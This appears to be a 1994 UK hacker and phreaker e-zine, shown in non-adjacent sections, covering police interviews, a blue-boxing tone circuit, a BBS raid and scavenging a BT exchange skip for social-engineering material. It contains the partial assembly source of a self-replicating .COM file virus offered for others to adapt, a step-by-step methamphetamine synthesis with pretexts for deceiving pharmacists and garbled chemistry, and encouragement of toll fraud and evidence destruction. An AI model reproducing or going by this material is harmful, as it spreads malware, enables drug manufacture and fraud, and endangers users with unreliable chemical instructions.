Did you know over 70% of all convictions are made on the basis of what was said in the interview. What does this mean practically ?? WHEN TALKED TO ---> SHUT UP Yep that's it. I know this is going to be mind-blastingly hard, especially for Phreaks who have an innate ability to talk constantly. But hopefully the lack of a telephone in the vicinity may keep you quiet. You simply answer 'No Comment' to *ANY* interview questions asked. Also the Police may start chatting to you informally when you're in the police car/holding cell/police custody cell/anywhere else. Don't give them any information that can help them. This means basically shutting up and answering only stuff such as you're name, address and other such formalities. They can't use this idle chat as evidence against you, but if they think you're innocent then they're gonna stop looking for evidence but if you say 'Yeah I did it copper and you can't prove nuthin' 'cos this aint recorded ha ha ha !' the're gonna keep looking until they find something. Answering 'No Comment' as a reply to an interview question is not an admission of guilt. If you're case goes to trial the interview tape will be played, and if you answer 'No Comment' to a question it's as if the question had not been asked. The prosecution cannot base anything on the fact you did not wish to answer the question. Another ploy the police will use is the bribery tactic... i.e. 'We have you're mates and they all said you did it - so unless you tell us something you're going down forever' - again no comment, this is a ploy just to get you to talk. Ratting on yer mates because they're gonna let you off easier is not only likely to get you lynched as soon as you walk out the door, but it also won't work, so don't try it. Also they will try and outrage you into defending yourself i.e. 'You have broken into Government computers and have defrauded more then 50,000 quids worth of stuff haven't you ??'. This is another ploy to make you go 'No way I haven't done anything like that!' - bite your tongue, they will simply try to get you talking. Being in a police cell is a completely miserable experience and being told 'If you tell us something you can be on the next bus outta here' is an extremely attractive prospect after being locked up in a 6x4 room for 8 hours. But all these are all cunning psychological tricks used to get convictions (after all this is what they're paid for). And finally... You have been bright enough to PGP encrypt all your sensitive info with a 1024 bit key and a bloody long password haven't you ??? And you have completely shredded all unwanted dodgy stuff haven't you ?? (Yeah, not just deleted - electronically SHREDDED). It might be worth mentioning that if you're HD is compressed with Stacker or any other compression utility then its almost impossible to completly erase deleted files by writing over them.... This advice is not just stuff from the top of my head. It's from experience - bitter experience. The bright thing to do is not to get nicked in the first place either by:- a) Not breaking the law b) Having half a brain and not getting caught Freedom and Good Karma '94 HarLeQuin +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Plans for a Digital -> Audio Convertor ~~~~~~~~~~~~~~~~~~~~~~~~~~ Some of you poorer phreaks may have noticed blue boxing is pretty impossible without a soundcard for your beloved PC or without being able to solder a circuit without burning your ear with the soldering iron. Anyway, this is a very simple circuit that produces perfect tones. Although it isn't new or cutting edge, its been included in Citronic for convenience sake, as when I was looking for it (quite some time ago) I couldn't find the circuit diagram anywhere. This will cost you a couple of quid/few dollars so is very cheap. When its built, attach it to your parallel port. Please note: the output has to be attached to an amplifier. My CD player works perfectly for this, most stereos will do. This circuit requires: 9 x 20K resistors 9 x 10K resistors 1 x 100 MFD capacitor 25 pin DShell plug All the resitors are 1/4 watt and 1% tolerance. Make sure these are exact as the first DAC I built had 5% tolerance resistors and was crap. You might also want to add a female RCA plug to have a convenient way to connect it to an amplifier. The entire circuit can be built on the back of the 25 pin plug. Be sure to connect the two points labeled 0v. No power supply is required. This circuit was included in an Amiga mod file player package by Mark J. Cox. He acknowledges Harry Stox for the circuit.

Especially when attacking DOS based network systems such as Novel. They are also an excellent way to learn assembly language (for any platform) as you can go from very simple viruses to extremely complicated ones that require a working knowledge of the platform, whether documented or not. They are also an artform, check out some of NuKE's/Phalcon Skism's work for some excellent examples. Any common criminal with a copy of FORMAT can cause damage. Get creative - destructive viruses get a lame rating of 99. 8% Finally, if you want to get into this virus thing, check out #virus on IRC or Aristotle's BBS, Black Axis on (804) 599-4152. 40HEX magazine (by Skism/Phalcon) and NuKE Info Journals are a mine of information, if you can get hold of them. Anyway, I have included a totally original, very simple virus I wrote some time ago. I made it as simple as possible so it's easy to learn from and adapt. It's easily modified and very easy to understand. So have a play around with it and see what you can come up with. *************************************** * * * Flowchart for the FADE Mk I virus * * * *************************************** [FADE Mk I] | [get length of host from ] [jmp at beginning of file] [ and PUSH to stack ] | [find first *.COM file]-->----file not found--------------+ | | file|found | | | [open file]<------------file found--------------+ | | | | [read 5 bytes to read_buf] | | | | | [check bytes for virus tag]->---tag found-----+ | | | | | | | [close file] | | | | | | | [find next *.COM]->+ | | | | | [file not|found] | | | | |<-------------------[set non_found_switch]<---+ | [move 5 original host_bytes ] [back to begining of program] | [move read_buf to host_bytes] | [non_found_switch present ?]->--yes-------+ | | n|o | | | [get file length from DTA] | [ and put into jmp_inst ] | | | [write tag+jmp_inst to] | [ begining of file ] | | | [write rest of virus] | [ to end of file ] | | | [close file]<---------------------+ | [execute host program] -----CUT HERE----- ;************************************************************************* ;* * ;* The [FADE] Virus Mk Ia * ;* A Simple 179 byte parasitic .COM infector * ;* by * ;* HarLeQuin * ;* * ;************************************************************************* ; 179 bytes long ; Parasitic Non-Resident .COM infector ; Compiled with A86 ; Offsets to data, negative from end of host sp_off EQU 16 ; file spec '*.COM',0 offset inf_off EQU 10 ; infect tag offset jmp_off EQU 8 ; jmp instruction offset host_off EQU 5 ; host bytes offset vir_length EQU 194-15 ; Length of active virus code db 90h,0F8h ; nop,clc - virus infection tag jmp start ;--------------------------- Original Program ---------------------------- db 90h,90h,90h,90h,90h,90h,90h,90h,0CDh,20h ;--------------------------- Original Program ---------------------------- start: mov ax,[103h] ; Put jmp length into ax add ax,105h ; plus offset of ORG and tag+jmp mov cl,8 ; 8 Loops push_labl: ; Rather than POP then PUSH every time push ax ; Put OFFSET start on stack loop push_labl ; Do it again find_first: mov ah,4Eh ; Find first file xor cx,cx ; with any attributes pop dx ; get start address add dx,vir_length-sp_off ; that matches *.COM int 21h ; Dispatch jc non_found_switch ; If none found execute host program open_file: mov ax,3D02h ; Open file using handle, read/write privs mov dx,9Eh ; address of filename in DTA int 21h ; Dispatch mov bx,ax ; Put file handle in bx read_file: mov ah,3Fh ; Read from file mov cl,05 ; 5 bytes pop dx ; get start address push dx ; put into stack again add dx,vir_length ; into read_buf int 21h ; Dispatch test_for_tag: mov si,dx ; si=OFFSET read_buf cmp word [si],0F890h ; are the 1st 2 bytes of the tag present ?

This is not another one of those dodgy drugz files, this actually works and I have succesfully made some. So I thought I'd pass on the benifit of my experience :) ---------------------------------------------------------------------------- DISCLAIMER: This is for informational purposes only, you use this information at entirely your own risk. Speed fucks you up, and if you don't make it right it can fuck you up without all the nice effects. ---------------------------------------------------------------------------- Ingredients: o 8 fluid ounces of Wood Alcohol Naphtha (It *HAS* to be wood alcohol naphtha) o Muratic Acid (Sodium Hydroxide) o Acetone o 1 bottle Vicks Nasal Spray (it *HAS* to be Vicks) NAPHTHA - Can be obtained from a chemist (where I got it from) or from Hays Group UK (tel 081 853 1172). If you're going to get it from a chemist a good reason is for preserving butterflies (or other insects) for display. Try to get an older person to buy some because chemists *know* what it can be used for, in fact when I bought some the chemist said 'be careful with this, did you know sailors used to make drugs out of it ??'. MURATIC ACID - This is driveway cleaner, go to a building site supplier for this. The mixture should be at least 14% Muratic Acid content, it's watered down with water. The driveway cleaner from places like B&Q has a very low muratic acid content, this is no good. Tell them your in the building trade, and you need the industrial stuff because you have loads of moss, cement and all other goodies over the brick work of your house you've just brought. Comes in 0.5 / 1.0 / 2.5 / 5.0 L containers. I said something like 'I hired a driveway cleaning machine off a local plant hire company (give a name) and they specified to use 14% Muratic Acid...' ACETONE - get this from your chemist, it comes in small bottles, it can be brought over the counter without any problems. It is a solvent, say your using it to water down your oil paints, because your an artist or something or say its for nail varnish remover (usually works best) VICKS NASAL SPRAY - just say you've got a cold for this one. They can be brought from most shops and all chemists. NOTE : IT MUST BE A VICK'S ONE, other makes don't have the right chemicals in. You need 1 spray per batch Equipment: o 1 eye dropper, yet again, get this from your chemist. o 3 clear glass jars, about the size of a medium/large coffee jar, must have a screw lid on it, to stop nasty stuff going everywhere. o A saucepan (preferably non-stick) o A pair of plastic/rubber gloves Instructions (follow these *EXACTLY*) [1] Pour 8 fluid ounces of Naphtha into the coffee jar (making sure the jar is cleaned out !) [2] Cut open the Vicks inhaler with a sharp pair of cutters, remove the cotton insert and throw away the plastic container. Place the cotton insert in the jar with the Naphtha in it. (3).Put the lid on the jar and shake it for around 4-5 mins. You've got to get the chemicals in the Vicks to bond into the Naphtha. This is where the Methamphetamine comes from. [3] Once this is done, squeeze out all the juices from the Vicks cotton, (make sure your wearing gloves, other wise you'll end up with your hands stinging alot). Remove the cotton from the mixture. [4] Next add 2 fluid ounces of hot water in to another jar, add 3 drops of muratic acid into the mixture (use this amount if your muratic content is between 12 & 18 %, otherwise change the amount that is mixed with the hot water) [5] Now add the first jar, the one with the Naphtha and Vicks in it to the second jar, the one with hot water and the acid in it. Now shake the jar for around 3 mins. Yet again you've got to get to chemicals to bond [6] After this is done, spin the jar so that the liquid goes around inside it, note the bubbles that come off. Try to remember the rate of which they come off. [7] Now let the mixture settle, this should be left for about 10 mins. You will see (should see) two layers in the jar. The stuff we're after is the bottom layer. Use the eyedropper again, making sure you've washed it out with hot water. DO NOT USE ANY CLEANING CHEMICALS TO CLEAN IT WITH E.G. WASHING UP LIQUID Place the dropper into the mixture, and slowly draw off the bottom mixture, making sure you don't get any of the top mixture into it, this will F**k it up ! Place the bottom layer straight into a non-stick pan, then take the top layer save and place into a clean jar. [8] Now heat up the mixture, using a very low heat. DO NOT USE A GAS COOKER, as the chemicals you are using are flammable and you could do yourself and kitchen alot of damage. [9] As the mixture evaporates, you will see that it will leave a white (semi clear) film behind it. Methamphetamine crystallises in straight lines, look for these lines as it drys out. Scrape it off with something sharp and clean. Keep it in the pan. [10] Now add a small amount of acetone into the pad. Just enough to cover all the crystals.REMEMBER THIS STUFF IS HIGHLY FLAMMABLE. IT MAY BE BEST TO LET THE PAN COOL A LITTLE BEFORE ENTERING IT. DO NOT USE NEAR A NAKED FLAME, THAT MEANS NO SMOKING OR GAS COOKERS ! Keep the pan on the lowest heat possible, the acetone will evaporate. [11] Once this is done, your left with your speed, scrape it out and off you go ! [12] Next if you get the jar with the liquid you saved in step 7, and then go back to step 5 and repeat the process. When you look at the bubbles, did you remember to look at them?, you need to get more or less the same about off them, if you don't, then throw the mixture away as it has had all the good stuff taken out of it. Carry on again and make some more ! Notes: o Make this outside or in a very well ventilated room, the fumes from the chemical are flammable, can be nasty when inhaled and give you thumping headaches. o Making speed buggers up your pans, it took me ages to scrape yellow gunk off them, I haven't tried with non-stick pans, but I would imagine they work better. o Cut the speed with powdered glucose, the stuff you buy in the street is cut, and taking the same amount of home made stuff spins you out. o I have included my excuses for getting the stuff off chemists to give you an idea of what to do, try not to use the same ones here 'cos the chemist is bound to say 'Hmmmmm, that's the fourth person in today for Butterfly preservatives, so tell me more about your butterflies...' Acknowledgements: o Charles and Karl from Spycom for the original recipe. o Smidge for being the first to make some and for his testing :) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Maesltrom/Terminal Boredom Bust ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Taken from Underground Access BBS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ------------ News Update: Thursday 04-Aug-94 19:08:00 TERMINAL BOREDOM BUST I have been informed by Coaxial/PHATE that Maelstrom's "Terminal Boredom" BBS has been raided. There has also been bust reports published in several Scottish newspapers today, so expect more details soon. xxxx-xxxxxx is not answering and I suggest people do not phone this number until all the facts are known. Phantasm (SysOp) ------------ Yes it's started to happen. Over the years the UK h/p community has got off lightly compared to our American and European counterparts. American suffered the 1990 'Hacker Crackdown' while in Britain we have had very little in the way of police attention except the occasional bust and arrest. Then suddenly in the space of a year, global boxing, which had remained the same for the previous five years, goes down. Bulletin boards get raided and people get arrested. A 20 year old man in Plymouth was arrested for allegedly writing and spreading the SMEG viruses, which is an almost impossible charge to convict some-one on. If the police have decided that they want to nail people for writing viruses, then hackers and phreaks had better watch their backs. The Telcos and Corps have wised and decided that they're not going to tolerate their systems being 'abused' any longer. All we want to do is use hardware we can neither afford nor get legitimate access to. What average hacker/phreak can afford to pay the rediculous prices of commercial information systems (for such a dismal service) or get to play on mainframes and UNIX nets. Virtually none. Then when we try to advanced our knowledge we are told by the same corporations and multi-nationals who fund the arms trade, exploit third world poverty and slowly poison the planet that *we* are 'abusing the system' are a threat to 'the fabric of society'. I am not a revolutionary, but I just beleive that knowledge cannot be owned, and as hard as the Corps and Governments try to hide information from us, we have the moral if not legal right to find it. Someone who was on Terminal Boredom sold the story to the police and the papers. Whoever you are, you've destroyed one of the pitifully few oasis's of free information left in the UK. I hope you are happy in the knowledge that you have saved the world from more 'evil' hackers who were busily menacing society. You are the pride of the great and the good, the Goverments and the Corps. Fuck you. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Joining Citronic ~~~~~~~~~~~~~~~~ So, you wanna join the Citro Dewdz on their great 'lectronic adventure huh ?

Well apparently not, your local BT exchange is *still* and excellent site for free telephone goodies and useful info, all kindly discarded by our beloved phone co. Pr0d1gY decided to come and see me, so after a few hours of messin' around with beige boxing we decided to have a look around the local BT exchange. Its a reasonably big building, that's now almost empty due to all the switching being done digitally. However, at night, there are between 8 and 10 BT vehicles parked out the back aswell as a large skip where everything is dumped. After half an hour of wading thru their skip this is the list of stuff we took home: 1 x Old rotary dial phone. 10 x Phone Jack sockets of various types, including spike/surge shielded ones. 20 Metres of new phone cable, their was so much of this that whenever I need some more cable I just nip down and get some. There is *loads* of it ! 1 x Packet of Benson and Hedges Cigarettes (!) 2 x Installation manuals for cabling etc etc (including fibre optic cables, testing of alarm systems and data transmission) ...and pages and pages of order sheets.... These are probably the most useful of the things we found. On the sheet it details, the job the BT engineer is/was doing, exactly what the engineer was fixing/doing, the date of the job, order number of the item, order description, the engineer's name, the engineer's code, the address of where the job is being done, as well as other codes such as the zone code, part no.'s etc etc etc. Prime bullshitting material, for either bullshitting BT or the customer.... The cabling and hardware proved to be very useful for beige boxing, and the B&H proved the be useful for... errrr, nothing really. The BT exchange was completly deserted, and their were no cameras of any sort about. Basically giving us as much time as we wanted to look thru what they had left... One word of warning, if you're gonna climb into a BT skip and you're gonna put your wallet into your top pocket. Remember to do your pocket up ! 'Cos I didn't and it took us bloody ages to find my wallet again. I recommend checking out the site a few days before at approx. the same time of day as your gonna have a wander round. Depending on the size of the the exchange they may have security guards and/or cameras. The exchange we did was purely that, an exchange only, it was not for dealing with customers or anything else. In my experience BT buildings that are used for purposes other than purely engineering/maintenance are better guarded than your average exchange, so be careful... If questionned at all think of a good excuse, as long as your not knee deep in telephone cable and standing in a skip an excuse like 'I am looking for a lost cat' is usually sufficient, as long as you clear off pretty soon, you can always come back later... All my telephone supplies are now gained from BT free of charge, so you'll never have to pay for anything again :) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Dah Last Bit ~~~~~~~~~~~~ For the next issue we'd kinda like submissions on the following subjects:- Cellular Hacking/Phreaking Comment/Opinion Hacking Phreaking Interesting ways of Imbibing Dope Things that go KaBoom!
